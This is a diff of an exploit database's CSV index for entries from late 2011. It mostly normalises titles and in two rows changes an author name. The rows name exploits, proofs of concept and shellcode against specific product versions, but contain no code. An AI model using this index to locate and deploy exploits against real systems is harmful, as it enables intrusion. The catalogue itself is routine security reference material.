+17852,platforms/php/webapps/17852.txt,"iManager Plugin 1.2.8 (d) - Remote Arbitrary File Deletion Vulnerability",2011-09-17,LiquidWorm,php,webapps,0
 17854,platforms/windows/local/17854.py,"MY MP3 Player 3.0 m3u Exploit DEP Bypass",2011-09-17,Blake,windows,local,0
 17855,platforms/windows/remote/17855.rb,"DaqFactory HMI NETB Request Overflow",2011-09-18,metasploit,windows,remote,0
 17856,platforms/windows/dos/17856.py,"KnFTP 1.0.0 Server Multiple Buffer Overflow Exploit (DoS PoC)",2011-09-18,loneferret,windows,dos,21
@@ -15505,7 +15505,7 @@ id,file,description,date,author,platform,type,port
 17870,platforms/windows/remote/17870.pl,"KnFTP 1.0.0 Server - Remote Buffer Overflow Exploit, 'USER' command",2011-09-19,mr.pr0n,windows,remote,0
 17871,platforms/hardware/webapps/17871.txt,"Cisco TelePresence Multiple Vulnerabilities - SOS-11-010",2011-09-19,"Sense of Security",hardware,webapps,0
 17872,platforms/php/webapps/17872.txt,"Multiple Wordpress Plugin timthumb.php Vulnerabilites",2011-09-19,"Ben Schmidt",php,webapps,0
-17873,platforms/windows/webapps/17873.txt,"File disclosure via XEE in SharePoint 2007/2010 and DotNetNuke < 6",2011-09-20,"Nicolas Gregoire",windows,webapps,0
+17873,platforms/windows/webapps/17873.txt,"SharePoint 2007/2010 and DotNetNuke < 6 - File disclosure via XEE",2011-09-20,"Nicolas Gregoire",windows,webapps,0
 17874,platforms/hardware/webapps/17874.txt,"NETGEAR Wireless Cable Modem Gateway Auth Bypass and CSRF",2011-09-20,"Sense of Security",hardware,webapps,0
 17876,platforms/windows/remote/17876.py,"ScriptFTP <= 3.3 Remote Buffer Overflow (LIST)",2011-09-20,modpr0be,windows,remote,0
 17877,platforms/windows/local/17877.py,"AVCon DEP Bypass",2011-09-20,Blake,windows,local,0
@@ -15514,7 +15514,7 @@ id,file,description,date,author,platform,type,port
 17880,platforms/windows/local/17880.rb,"eSignal and eSignal Pro <= 10.6.2425.1208 File Parsing Buffer Overflow in QUO",2011-09-20,metasploit,windows,local,0
 17882,platforms/php/webapps/17882.php,"JAKCMS PRO <= 2.2.5 Remote Arbitrary File Upload Exploit",2011-09-22,EgiX,php,webapps,0
 17883,platforms/hardware/remote/17883.txt,"Blue Coat Reporter Unauthenticated Directory Traversal",2011-09-22,nitr0us,hardware,remote,0
-17884,platforms/windows/remote/17884.py,"Cogent Datahub <= v7.1.1.63 Remote Unicode Buffer Overflow Exploit",2011-09-22,mr_me,windows,remote,0
+17884,platforms/windows/remote/17884.py,"Cogent Datahub <= 7.1.1.63 - Remote Unicode Buffer Overflow Exploit",2011-09-22,mr_me,windows,remote,0
 17885,platforms/windows/dos/17885.txt,"Sunway ForceControl <= 6.1 sp3 Multiple Vulnerabilities",2011-09-23,"Luigi Auriemma",windows,dos,0
 17886,platforms/windows/remote/17886.py,"FreeFloat FTP Server Buffer Overflow Exploit (DEP Bypass)",2011-09-23,Blake,windows,remote,0
 17887,platforms/php/webapps/17887.txt,"WordPress Link Library plugin <= 5.2.1 SQL Injection",2011-09-24,"Miroslav Stampar",php,webapps,0
@@ -15523,11 +15523,11 @@ id,file,description,date,author,platform,type,port
 17890,platforms/windows/dos/17890.c,"GMER 1.0.15.15641 MFT Overwrite",2011-09-26,Heurs,windows,dos,0
 17891,platforms/php/webapps/17891.txt,"WordPress CevherShare Plugin 2.0 SQL Injection",2011-09-26,bd0rk,php,webapps,0
 17892,platforms/windows/local/17892.pl,"Muse Music All-In-One 1.5.0.001 .pls File Buffer Overflow (DEP Bypass)",2011-09-26,"C4SS!0 G0M3S",windows,local,0
-17893,platforms/windows/local/17893.pl,"GTA SA-MP server.cfg Local Buffer Overflow Vulnerability",2011-09-26,Silent_Dream,windows,local,0
+17893,platforms/windows/local/17893.pl,"GTA SA-MP server.cfg - Local Buffer Overflow Vulnerability",2011-09-26,Silent_Dream,windows,local,0
 17894,platforms/php/webapps/17894.txt,"WordPress Mingle Forum plugin <= 1.0.31 SQL Injection Vulnerability",2011-09-27,"Miroslav Stampar",php,webapps,0
 17895,platforms/php/webapps/17895.txt,"Jarida 1.0 Multiple Vulnerabilities",2011-09-27,"Ptrace Security",php,webapps,0
 17896,platforms/windows/dos/17896.txt,"PcVue <= 10.0 Multiple Vulnerabilities",2011-09-27,"Luigi Auriemma",windows,dos,0
-17897,platforms/jsp/webapps/17897.txt,"Multiple Vulnerability in Omnidocs",2011-09-27,"Sohil Garg",jsp,webapps,0
+17897,platforms/jsp/webapps/17897.txt,"Omnidocs - Multiple Vulnerability",2011-09-27,"Sohil Garg",jsp,webapps,0
 17898,platforms/php/webapps/17898.txt,"redmind Online-Shop / E-Commerce-System SQL Injection Vulnerability",2011-09-27,"Indonesian BlackCoder",php,webapps,0
 17900,platforms/asp/webapps/17900.txt,"TimeLive Time and Expense Tracking 4.1.1 Multiple Vulnerabilities",2011-09-28,"Nathaniel Carew",asp,webapps,0
 17901,platforms/osx/dos/17901.c,"Mac OS X < 10.6.7 Kernel Panic Exploit",2011-09-28,hkpco,osx,dos,0
@@ -15545,14 +15545,14 @@ id,file,description,date,author,platform,type,port
 17921,platforms/asp/webapps/17921.txt,"GotoCode Online Bookstore Multiple Vulnerabilities",2011-10-03,"Nathaniel Carew",asp,webapps,0
 17922,platforms/cgi/webapps/17922.rb,"CA Total Defense Suite reGenerateReports Stored Procedure SQL Injection",2011-10-02,metasploit,cgi,webapps,0
 17924,platforms/jsp/webapps/17924.pl,"JBoss, JMX Console, misconfigured DeploymentScanner",2011-10-03,y0ug,jsp,webapps,0
-17925,platforms/php/webapps/17925.txt,"Concrete5 <= 5.4.2.1 Multiple Vulnerabilities",2011-10-04,"Ryan Dewhurst",php,webapps,0
+17925,platforms/php/webapps/17925.txt,"Concrete5 <= 5.4.2.1 - Multiple Vulnerabilities",2011-10-04,"Ryan Dewhurst",php,webapps,0
 17926,platforms/php/webapps/17926.txt,"Easy Hosting Control Panel Admin Auth Bypass",2011-10-04,Jasman,php,webapps,0
 17927,platforms/php/webapps/17927.txt,"CF Image Hosting Script 1.3.82 File Disclosure",2011-10-04,bd0rk,php,webapps,0
 17928,platforms/windows/dos/17928.pl,"Ashampoo Burning Studio Elements 10.0.9 (.ashprj) Heap Overflow",2011-10-04,LiquidWorm,windows,dos,0
 17929,platforms/windows/dos/17929.txt,"Google Chrome < 14.0.835.163 PDF File Handling Memory Corruption",2011-10-04,"Mario Gomes",windows,dos,0
 17930,platforms/windows/dos/17930.txt,"Cytel Studio <= 9.0.0 Multiple Vulnerabilities",2011-10-04,"Luigi Auriemma",windows,dos,0
 17931,platforms/windows/dos/17931.txt,"GenStat <= 14.1.0.5943 Multiple Vulnerabilities",2011-10-04,"Luigi Auriemma",windows,dos,0
-17932,platforms/linux/local/17932.c,"PolicyKit Pwnage: linux local privilege escalation on polkit-1 <= 0.101",2011-10-05,zx2c4,linux,local,0
+17932,platforms/linux/local/17932.c,"PolicyKit polkit-1 <= 0.101- linux local privilege escalation",2011-10-05,zx2c4,linux,local,0
 17933,platforms/windows/dos/17933.html,"DivX Plus Web Player ""file://"" Buffer Overflow Vulnerability PoC",2011-10-05,Snake,windows,dos,0
 17935,platforms/php/webapps/17935.txt,"tsmim Lessons Library (show.php) SQL Injection",2011-10-06,M.Jock3R,php,webapps,0
 17936,platforms/windows/remote/17936.rb,"Opera 10/11 (bad nesting with frameset tag) Memory Corruption",2011-10-06,"Jose A. Vazquez",windows,remote,0
@@ -15564,7 +15564,7 @@ id,file,description,date,author,platform,type,port
 17942,platforms/linux/local/17942.c,"pkexec Race Condition Privilege Escalation Exploit",2011-10-08,xi4oyu,linux,local,0
 17943,platforms/php/webapps/17943.txt,"BOOKSolved 1.2.2 Remote File Disclosure",2011-10-08,bd0rk,php,webapps,0
 17944,platforms/php/webapps/17944.txt,"Joomla Component Time Returns (com_timereturns) SQL Injection",2011-10-08,kaMtiEz,php,webapps,0
-17946,platforms/php/webapps/17946.txt,"NexusPHP v1.5 SQL Injection",2011-10-08,flyh4t,php,webapps,0
+17946,platforms/php/webapps/17946.txt,"NexusPHP 1.5 - SQL Injection",2011-10-08,flyh4t,php,webapps,0
 17947,platforms/php/webapps/17947.rb,"Snortreport nmap.php and nbtscan.php Remote Command Execution",2011-10-09,metasploit,php,webapps,0
 17948,platforms/windows/remote/17948.rb,"ScriptFTP <= 3.3 Remote Buffer Overflow (LIST)",2011-10-09,metasploit,windows,remote,0
 17949,platforms/php/webapps/17949.rb,"myBB 1.6.4 Backdoor Exploit",2011-10-09,metasploit,php,webapps,0
@@ -15588,10 +15588,10 @@ id,file,description,date,author,platform,type,port
 17970,platforms/php/webapps/17970.txt,"WP-SpamFree WordPress Spam Plugin SQL Injection Vulnerability",2011-10-11,cheki,php,webapps,0
 17972,platforms/php/webapps/17972.txt,"MyBB MyStatus 3.1 - SQL Injection Vulnerability",2011-10-12,Mario_Vs,php,webapps,0
 17973,platforms/php/webapps/17973.txt,"WordPress GD Star Rating plugin <= 1.9.10 SQL Injection",2011-10-12,"Miroslav Stampar",php,webapps,0
-17974,platforms/windows/remote/17974.html,"Mozilla Firefox Array.reduceRight() Integer Overflow Exploit",2011-10-12,"Matteo Memelli",windows,remote,0
+17974,platforms/windows/remote/17974.html,"Mozilla Firefox Array.reduceRight() Integer Overflow Exploit",2011-10-12,ryujin,windows,remote,0
 17975,platforms/windows/remote/17975.rb,"PcVue 10.0 SV.UIGrdCtrl.1 'LoadObject()/SaveObject()' Trusted DWORD Vulnerability",2011-10-12,metasploit,windows,remote,0
 17976,platforms/windows/remote/17976.rb,"Mozilla Firefox Array.reduceRight() Integer Overflow",2011-10-13,metasploit,windows,remote,0
-17977,platforms/windows/remote/17977.txt,"JBoss AS Remote Exploit v2",2011-10-11,Kingcope,windows,remote,0
+17977,platforms/windows/remote/17977.txt,"JBoss AS 2.0 - Remote Exploit",2011-10-11,Kingcope,windows,remote,0
 17978,platforms/windows/dos/17978.txt,"MS11-077 .fon Kernel-Mode Buffer Overrun PoC",2011-10-13,"Byoungyoung Lee",windows,dos,0
 17980,platforms/php/webapps/17980.txt,"WordPress Contact Form plugin <= 2.7.5 SQL Injection",2011-10-14,Skraps,php,webapps,0
 17981,platforms/windows/dos/17981.py,"MS11-064 TCP/IP Stack Denial of Service",2011-10-15,"Byoungyoung Lee",windows,dos,0
@@ -15631,7 +15631,7 @@ id,file,description,date,author,platform,type,port
 18019,platforms/windows/dos/18019.txt,"Google Chrome PoC, killing thread",2011-10-22,pigtail23,windows,dos,0
 18020,platforms/php/webapps/18020.txt,"jara 1.6 sql injection vulnerability",2011-10-23,muuratsalo,php,webapps,0
 18021,platforms/php/webapps/18021.php,"phpLDAPadmin <= 1.2.1.1 (query_engine) Remote PHP Code Injection Exploit",2011-10-23,EgiX,php,webapps,0
-18022,platforms/php/webapps/18022.txt,"InverseFlow v2.4 CSRF Vulnerabilities (Add Admin User)",2011-10-23,"EjRaM HaCkEr",php,webapps,0
+18022,platforms/php/webapps/18022.txt,"InverseFlow 2.4 - CSRF Vulnerabilities (Add Admin User)",2011-10-23,"EjRaM HaCkEr",php,webapps,0
 18023,platforms/php/webapps/18023.java,"phpLDAPadmin 0.9.4b DoS",2011-10-23,Alguien,php,webapps,0
 18024,platforms/windows/dos/18024.txt,"MS11-077 Win32k Null Pointer De-reference Vulnerability POC",2011-10-23,KiDebug,windows,dos,0
 18025,platforms/multiple/dos/18025.txt,"Google Chrome Denial Of Service (DoS)",2011-10-23,"Prashant Uniyal",multiple,dos,0
@@ -15645,12 +15645,12 @@ id,file,description,date,author,platform,type,port
 18035,platforms/php/webapps/18035.txt,"Online Subtitles Workshop XSS Vulnerability",2011-10-26,M.Jock3R,php,webapps,0
 18036,platforms/php/webapps/18036.txt,"eFront <= 3.6.10 (build 11944) Multiple Security Vulnerabilities",2011-10-27,EgiX,php,webapps,0
 18037,platforms/php/webapps/18037.rb,"phpScheduleIt PHP reserve.php start_date Parameter Arbitrary Code Injection",2011-10-26,metasploit,php,webapps,0
-18038,platforms/windows/local/18038.rb,"GTA SA-MP server.cfg Buffer Overflow",2011-10-26,metasploit,windows,local,0
+18038,platforms/windows/local/18038.rb,"GTA SA-MP server.cfg - Buffer Overflow",2011-10-26,metasploit,windows,local,0
 18039,platforms/php/webapps/18039.txt,"WordPress wptouch plugin SQL Injection Vulnerability",2011-10-27,longrifle0x,php,webapps,0
 18040,platforms/linux/local/18040.c,"Xorg 1.4 to 1.11.2 File Permission Change PoC",2011-10-28,vladz,linux,local,0
 18042,platforms/php/webapps/18042.txt,"Techfolio 1.0 Joomla Component SQL Injection Vulnerability",2011-10-28,"Chris Russell",php,webapps,0
-18043,platforms/windows/dos/18043.py,"GFI Faxmaker - Fax Viewer v10.0[build 237] DoS (Poc).",2011-10-28,loneferret,windows,dos,0
-18045,platforms/php/webapps/18045.txt,"PHP Photo Album <= (0.4.1.16) Multiple Disclosure Vulnerabilities",2011-10-29,"BHG Security Center",php,webapps,0
+18043,platforms/windows/dos/18043.py,"GFI Faxmaker Fax Viewer 10.0 [build 237] - DoS (Poc).",2011-10-28,loneferret,windows,dos,0
+18045,platforms/php/webapps/18045.txt,"PHP Photo Album <= 0.4.1.16 - Multiple Disclosure Vulnerabilities",2011-10-29,"BHG Security Center",php,webapps,0
 18046,platforms/php/webapps/18046.txt,"Barter Sites 1.3 Joomla Component Multiple Vulnerabilities",2011-10-29,"Chris Russell",php,webapps,0
 18047,platforms/php/webapps/18047.txt,"JEEMA SMS 3.2 Joomla Component Multiple Vulnerabilities",2011-10-29,"Chris Russell",php,webapps,0
 18048,platforms/php/webapps/18048.txt,"Vik Real Estate 1.0 Joomla Component Multiple Vulnerabilities",2011-10-29,"Chris Russell",php,webapps,0
@@ -15660,7 +15660,7 @@ id,file,description,date,author,platform,type,port
 18052,platforms/windows/dos/18052.php,"Oracle DataDirect ODBC Drivers HOST Attribute arsqls24.dll Stack Based Buffer Overflow PoC",2011-10-31,rgod,windows,dos,0
 18053,platforms/php/webapps/18053.txt,"WordPress Classipress Theme <= 3.1.4 Stored XSS",2011-10-31,"Paul Loftness",php,webapps,0
 18055,platforms/php/webapps/18055.txt,"WordPress WP Glossary Plugin SQL Injection",2011-10-31,longrifle0x,php,webapps,0
-18056,platforms/php/webapps/18056.txt,"jbShop - e107 v7 CMS Plugin - SQL Injection",2011-10-31,"Robert Cooper",php,webapps,0
+18056,platforms/php/webapps/18056.txt,"jbShop - e107 7 CMS Plugin - SQL Injection",2011-10-31,"Robert Cooper",php,webapps,0
 18057,platforms/windows/remote/18057.rb,"NJStar Communicator 3.00 MiniSMTP Server Remote Exploit",2011-10-31,"Dillon Beresford ",windows,remote,0
 18058,platforms/php/webapps/18058.txt,"Joomla Component Alameda (com_alameda) SQL Injection",2011-10-31,kaMtiEz,php,webapps,0
 18061,platforms/hardware/webapps/18061.txt,"ZTE ZXDSL 831IIV7.5.0a_Z29_OV Multiple Vulnerabilities",2011-11-01,"mehdi boukazoula",hardware,webapps,0
@@ -15671,11 +15671,11 @@ id,file,description,date,author,platform,type,port
 18066,platforms/php/webapps/18066.txt,"CaupoShop Pro (2.x/ <= 3.70) Classic 3.01 Local File Include Vulnerability",2011-11-02,"Rami Salama",php,webapps,0
 18067,platforms/windows/local/18067.txt,"Microsoft Excel 2007 SP2 Buffer Overwrite Exploit",2011-11-02,Abysssec,windows,local,0
 18068,platforms/hardware/remote/18068.rb,"LifeSize Room Command Injection",2011-11-02,metasploit,hardware,remote,0
-18069,platforms/php/webapps/18069.txt,"Jara v1.6 Multiple Vulnerabilities",2011-11-03,Or4nG.M4N,php,webapps,0
+18069,platforms/php/webapps/18069.txt,"Jara 1.6 - Multiple Vulnerabilities",2011-11-03,Or4nG.M4N,php,webapps,0
 18070,platforms/php/webapps/18070.txt,"Web File Browser 0.4b14 File Download Vulnerability",2011-11-03,"Sangyun YOO",php,webapps,0
 18071,platforms/linux/local/18071.sh,"Calibre E-Book Reader Local Root Exploit",2011-11-03,zx2c4,linux,local,0
 18072,platforms/linux/local/18072.sh,"Calibre E-Book Reader Local Root Race Condition Exploit",2011-11-03,zx2c4,linux,local,0
-18075,platforms/php/webapps/18075.txt,"Ajax File and Image Manager v1.0 Final Remote Code Execution Vulnerability",2011-11-04,EgiX,php,webapps,0
+18075,platforms/php/webapps/18075.txt,"Ajax File and Image Manager 1.0 Final - Remote Code Execution Vulnerability",2011-11-04,EgiX,php,webapps,0
 18076,platforms/php/webapps/18076.txt,"Advanced Poll 2.02 SQL Injection Vulnerability",2011-11-04,"Yassin Aboukir",php,webapps,0
 18077,platforms/windows/webapps/18077.txt,"HP Data Protector Media Operations <= 6.20 Directory Traversal",2011-11-04,"Luigi Auriemma",windows,webapps,0
 18078,platforms/windows/dos/18078.txt,"Microsoft Excel 2003 11.8335.8333 Use After Free",2011-11-04,"Luigi Auriemma",windows,dos,0
@@ -15685,7 +15685,7 @@ id,file,description,date,author,platform,type,port
 18082,platforms/windows/local/18082.rb,"Mini-Stream 3.0.1.1 Buffer Overflow Exploit",2011-11-04,metasploit,windows,local,0
 18083,platforms/php/webapps/18083.php,"Zenphoto <= 1.4.1.4 (ajax_create_folder.php) Remote Code Execution",2011-11-05,EgiX,php,webapps,0
 18084,platforms/php/webapps/18084.php,"phpMyFAQ <= 2.7.0 (ajax_create_folder.php) Remote Code Execution",2011-11-05,EgiX,php,webapps,0
-18085,platforms/php/webapps/18085.php,"aidiCMS v3.55 (ajax_create_folder.php) Remote Code Execution",2011-11-05,EgiX,php,webapps,0
+18085,platforms/php/webapps/18085.php,"aidiCMS 3.55 - (ajax_create_folder.php) Remote Code Execution",2011-11-05,EgiX,php,webapps,0
 18086,platforms/linux/local/18086.c,"Calibre E-Book Reader Local Root",2011-11-05,zx2c4,linux,local,0
 18087,platforms/windows/local/18087.rb,"MS11-021 Microsoft Office 2007 Excel .xlb Buffer Overflow",2011-11-05,metasploit,windows,local,0
 18088,platforms/php/webapps/18088.txt,"WHMCompleteSolution 3.x/4.x Multiple Vulnerabilities",2011-11-07,ZxH-Labs,php,webapps,0
@@ -15694,7 +15694,7 @@ id,file,description,date,author,platform,type,port
 18091,platforms/php/webapps/18091.txt,"OrderSys <= 1.6.4 SQL Injection",2011-11-07,muuratsalo,php,webapps,0
 18092,platforms/windows/remote/18092.html,"Oracle Hyperion Strategic Finance 12.x Tidestone Formula One WorkBook OLE Control TTF16.ocx Remote Heap Overflow",2011-11-07,rgod,windows,remote,0
 18093,platforms/windows/remote/18093.txt,"Oracle XDB.XDB_PITRIG_PKG.PITRIG_DROPMETADATA Procedure Exploit",2011-11-07,"David Maman",windows,remote,0
-18095,platforms/php/webapps/18095.txt,"11in1 CMS v1.0.1 (do.php) CRLF Injection Vulnerability",2011-11-08,LiquidWorm,php,webapps,0
+18095,platforms/php/webapps/18095.txt,"11in1 CMS 1.0.1 (do.php) - CRLF Injection Vulnerability",2011-11-08,LiquidWorm,php,webapps,0
 18096,platforms/windows/local/18096.py,"Aviosoft Digital TV Player Professional 1.x Stack Buffer Overflow",2011-11-09,modpr0be,windows,local,0
 18099,platforms/php/webapps/18099.txt,"osCSS2 ""_ID"" parameter Local file inclusion",2011-11-09,"Stefan Schurtz",php,webapps,0
 18100,platforms/php/webapps/18100.txt,"LabWiki <= 1.1 Multiple Vulnerabilities",2011-11-09,muuratsalo,php,webapps,0
@@ -15702,18 +15702,18 @@ id,file,description,date,author,platform,type,port
 18102,platforms/windows/remote/18102.rb,"AbsoluteFTP 1.9.6 - 2.2.10 Remote Buffer Overflow (LIST)",2011-11-09,Node,windows,remote,0
 18105,platforms/linux/local/18105.sh,"glibc LD_AUDIT arbitrary DSO load Privilege Escalation",2011-11-10,zx2c4,linux,local,0
 18106,platforms/windows/dos/18106.pl,"Soda PDF Professional 1.2.155 PDF/WWF File Handling DoS",2011-11-11,LiquidWorm,windows,dos,0
-18107,platforms/windows/dos/18107.py,"Kool Media Converter v2.6.0 DOS",2011-11-11,swami,windows,dos,0
+18107,platforms/windows/dos/18107.py,"Kool Media Converter 2.6.0 - DOS",2011-11-11,swami,windows,dos,0
 18108,platforms/php/webapps/18108.rb,"Support Incident Tracker <= 3.65 Remote Command Execution",2011-11-13,metasploit,php,webapps,0
 18109,platforms/windows/local/18109.rb,"Aviosoft Digital TV Player Professional 1.0 Stack Buffer Overflow",2011-11-13,metasploit,windows,local,0
 18110,platforms/php/webapps/18110.txt,"CMS 4.x.x Zorder (SQL Injection Vul)",2011-11-13,"KraL BeNiM",php,webapps,0
 18111,platforms/php/webapps/18111.php,"Wordpress Zingiri Plugin <= 2.2.3 (ajax_save_name.php) Remote Code Execution",2011-11-13,EgiX,php,webapps,0
 18112,platforms/windows/dos/18112.txt,"Optima APIFTP Server <= 1.5.2.13 Multiple Vulnerabilities",2011-11-14,"Luigi Auriemma",windows,dos,0
-18113,platforms/windows/local/18113.rb,"Mini-Stream RM-MP3 Converter v3.1.2.1 (PLS File) Stack Buffer Overflow",2011-11-14,metasploit,windows,local,0
+18113,platforms/windows/local/18113.rb,"Mini-Stream RM-MP3 Converter 3.1.2.1 - (.pls) Stack Buffer Overflow",2011-11-14,metasploit,windows,local,0
 18114,platforms/php/webapps/18114.txt,"WordPress AdRotate plugin <= 3.6.6 SQL Injection",2011-11-14,"Miroslav Stampar",php,webapps,0
 18115,platforms/php/webapps/18115.txt,"Pixie CMS 1.01 - 1.04 Blind SQL Injections",2011-11-14,Piranha,php,webapps,0
 18116,platforms/multiple/dos/18116.html,"Firefox 8.0 Null Pointer Dereference PoC",2011-11-14,0in,multiple,dos,0
 18117,platforms/multiple/webapps/18117.txt,"Authenex A-Key/ASAS Web Management Control 3.1.0.2 (latest) - Time-based SQL Injection",2011-11-15,"Jose Carlos de Arriba",multiple,webapps,0
-18118,platforms/php/webapps/18118.txt,"QuiXplorer 2.3 <= Bugtraq File Upload Vulnerability",2011-11-15,PCA,php,webapps,0
+18118,platforms/php/webapps/18118.txt,"QuiXplorer 2.3 - Bugtraq File Upload Vulnerability",2011-11-15,PCA,php,webapps,0
 18119,platforms/windows/dos/18119.rb,"Attachmate Reflection FTP Client Heap Overflow",2011-11-16,"Francis Provencher",windows,dos,0
 18120,platforms/linux/dos/18120.py,"FleaHttpd Remote Denial Of Service Exploit",2011-11-16,condis,linux,dos,80
 18121,platforms/php/webapps/18121.txt,"FreeWebshop <= 2.2.9 R2 (ajax_save_name.php) Remote Code Execution",2011-11-16,EgiX,php,webapps,0
@@ -15748,12 +15748,12 @@ id,file,description,date,author,platform,type,port
 18164,platforms/hardware/webapps/18164.php,"Android 'content://' URI Multiple Information Disclosure Vulnerabilities",2011-11-28,"Thomas Cannon",hardware,webapps,0
 18165,platforms/windows/dos/18165.txt,"Siemens Automation License Manager <= 500.0.122.1 Multiple Vulnerabilities",2011-11-28,"Luigi Auriemma",windows,dos,0
 18166,platforms/windows/dos/18166.txt,"Siemens SIMATIC WinCC Flexible (Runtime) Multiple Vulnerabilities",2011-11-28,"Luigi Auriemma",windows,dos,0
-18167,platforms/php/webapps/18167.zip,"Bypass the JQuery-Real-Person captcha plugin 0-day",2011-11-28,Alberto_García_Illera,php,webapps,0
+18167,platforms/php/webapps/18167.zip,"Bypass the JQuery-Real-Person captcha plugin 0day",2011-11-28,Alberto_García_Illera,php,webapps,0
 18171,platforms/multiple/remote/18171.rb,"Java Applet Rhino Script Engine Remote Code Execution",2011-11-30,metasploit,multiple,remote,0
 18172,platforms/hardware/remote/18172.rb,"CTEK SkyRouter 4200 and 4300 Command Execution",2011-11-30,metasploit,hardware,remote,0
 18173,platforms/windows/dos/18173.pl,"Bugbear FlatOut 2005 Malformed .bed file Buffer Overflow Vulnerability",2011-11-30,Silent_Dream,windows,dos,0
 18174,platforms/windows/local/18174.py,"GOM Player 2.1.33.5071 ASX File Unicode Stack Buffer Overflow Exploit",2011-11-30,"Debasish Mandal",windows,local,0
-18176,platforms/windows/local/18176.py,"MS11-080 Afd.sys Privilege Escalation Exploit",2011-11-30,"Matteo Memelli",windows,local,0
+18176,platforms/windows/local/18176.py,"MS11-080 Afd.sys Privilege Escalation Exploit",2011-11-30,ryujin,windows,local,0
 18177,platforms/php/webapps/18177.txt,"WikkaWiki <= 1.3.2 Multiple Security Vulnerabilities",2011-11-30,EgiX,php,webapps,0
 18178,platforms/windows/local/18178.rb,"CCMPlayer 1.5 Stack based Buffer Overflow SEH Exploit (.m3u)",2011-11-30,Rh0,windows,local,0
 18179,platforms/jsp/remote/18179.html,"IBM Lotus Domino Server Controller Authentication Bypass Vulnerability",2011-11-30,"Alexey Sintsov",jsp,remote,0
@@ -15763,21 +15763,21 @@ id,file,description,date,author,platform,type,port
 18184,platforms/windows/local/18184.rb,"Final Draft 8 Multiple Stack Buffer Overflows",2011-12-01,"Nick Freeman",windows,local,0
 18185,platforms/php/webapps/18185.txt,"Muster Render Farm Management System Arbitrary File Download",2011-12-01,"Nick Freeman",php,webapps,0
 18186,platforms/windows/local/18186.rb,"StoryBoard Quick 6 Stack Buffer Overflow",2011-12-01,"Nick Freeman",windows,local,0
-18187,platforms/windows/remote/18187.c,"CoDeSys SCADA v2.3 Remote Exploit",2011-12-01,"Celil Ünüver",windows,remote,0
+18187,platforms/windows/remote/18187.c,"CoDeSys SCADA 2.3 - Remote Exploit",2011-12-01,"Celil Ünüver",windows,remote,0
 18188,platforms/windows/dos/18188.txt,"Hillstone Software HS TFTP Server Denial Of Service Vulnerability",2011-12-02,"SecPod Research",windows,dos,0
 18189,platforms/windows/remote/18189.txt,"Ipswitch TFTP Server Directory Traversal Vulnerability",2011-12-02,"SecPod Research",windows,remote,0
-18190,platforms/windows/remote/18190.rb,"Serv-U FTP Server <4.2 Buffer Overflow",2011-12-02,metasploit,windows,remote,0
+18190,platforms/windows/remote/18190.rb,"Serv-U FTP Server < 4.2 - Buffer Overflow",2011-12-02,metasploit,windows,remote,0
 18192,platforms/php/webapps/18192.txt,"Joomla Jobprofile Component (com_jobprofile) SQL Injection",2011-12-02,kaMtiEz,php,webapps,0
 18193,platforms/php/webapps/18193.txt,"WSN Classifieds 6.2.12 and 6.2.18 - Multiple Vulnerabilities",2011-12-02,d3v1l,php,webapps,0
 18195,platforms/windows/local/18195.rb,"CCMPlayer 1.5 Stack based Buffer Overflow (.m3u)",2011-12-03,metasploit,windows,local,0
 18196,platforms/windows/dos/18196.py,"NJStar Communicator MiniSmtp Buffer Overflow [ASLR Bypass]",2011-12-03,Zune,windows,dos,0
 18197,platforms/lin_x86-64/shellcode/18197.c,"linux/x86-64 execve(/bin/sh) 52 bytes",2011-12-03,X-h4ck,lin_x86-64,shellcode,0
-18198,platforms/php/webapps/18198.php,"Family Connections CMS v2.5.0-v2.7.1 (less.php) Remote Command Execution",2011-12-04,mr_me,php,webapps,0
+18198,platforms/php/webapps/18198.php,"Family Connections CMS 2.5.0 & 2.7.1 - (less.php) Remote Command Execution",2011-12-04,mr_me,php,webapps,0
 18199,platforms/hardware/dos/18199.pl,"ShareCenter D-Link DNS-320 Remote reboot/shutdown/reset (DoS)",2011-12-05,rigan,hardware,dos,0
 18200,platforms/windows/dos/18200.txt,"SopCast 3.4.7 sop:// URI Handling Remote Stack Buffer Overflow PoC",2011-12-05,LiquidWorm,windows,dos,0
 18201,platforms/windows/local/18201.txt,"SopCast 3.4.7 (Diagnose.exe) Improper Permissions",2011-12-05,LiquidWorm,windows,local,0
 18202,platforms/php/webapps/18202.txt,"Meditate Web Content Editor 'username_input' SQL-Injection vulnerability",2011-12-05,"Stefan Schurtz",php,webapps,0
-18207,platforms/php/webapps/18207.txt,"AlstraSoft EPay Enterprise v4.0 Blind SQL Injection",2011-12-06,Don,php,webapps,0
+18207,platforms/php/webapps/18207.txt,"AlstraSoft EPay Enterprise 4.0 - Blind SQL Injection",2011-12-06,Don,php,webapps,0
 18208,platforms/php/webapps/18208.rb,"Family Connections less.php Remote Command Execution",2011-12-07,metasploit,php,webapps,0
 18210,platforms/php/webapps/18210.txt,"Php City Portal Script Software SQL Injection",2011-12-07,Don,php,webapps,0
 18212,platforms/php/webapps/18212.txt,"phpBB MyPage Plugin SQL Injection",2011-12-07,CrazyMouse,php,webapps,0
@@ -15790,19 +15790,19 @@ id,file,description,date,author,platform,type,port
 18221,platforms/linux/dos/18221.c,"Apache HTTP Server Denial of Service",2011-12-09,"Ramon de C Valle",linux,dos,0
 18222,platforms/php/webapps/18222.txt,"SePortal 2.5 SQL Injection",2011-12-09,Don,php,webapps,0
 18223,platforms/windows/dos/18223.pl,"Free Opener Local Denial of Service",2011-12-09,"Iolo Morganwg",windows,dos,0
-18224,platforms/php/webapps/18224.php,"Docebo LMS <= v4.0.4 (messages) Remote Code Execution",2011-12-09,mr_me,php,webapps,0
+18224,platforms/php/webapps/18224.php,"Docebo LMS <= 4.0.4 - (messages) Remote Code Execution",2011-12-09,mr_me,php,webapps,0
 18225,platforms/linux/dos/18225.c,"CSF Firewall Buffer Overflow",2011-12-09,"FoX HaCkEr",linux,dos,0
 18226,platforms/linux_mips/shellcode/18226.c,"Linux/MIPS - connect back shellcode (port 0x7a69) - 168 bytes.",2011-12-10,rigan,linux_mips,shellcode,0
 18227,platforms/linux_mips/shellcode/18227.c,"Linux/MIPS - reboot() - 32 bytes.",2011-12-10,rigan,linux_mips,shellcode,0
 18228,platforms/linux/local/18228.sh,"Acpid 1:2.0.10-1ubuntu2 Privilege Boundary Crossing Vulnerability",2011-12-10,otr,linux,local,0
 18230,platforms/php/webapps/18230.txt,"FCMS_2.7.2 cms and earlier multiple stored XSS Vulnerability",2011-12-10,"Ahmed Elhady Mohamed",php,webapps,0
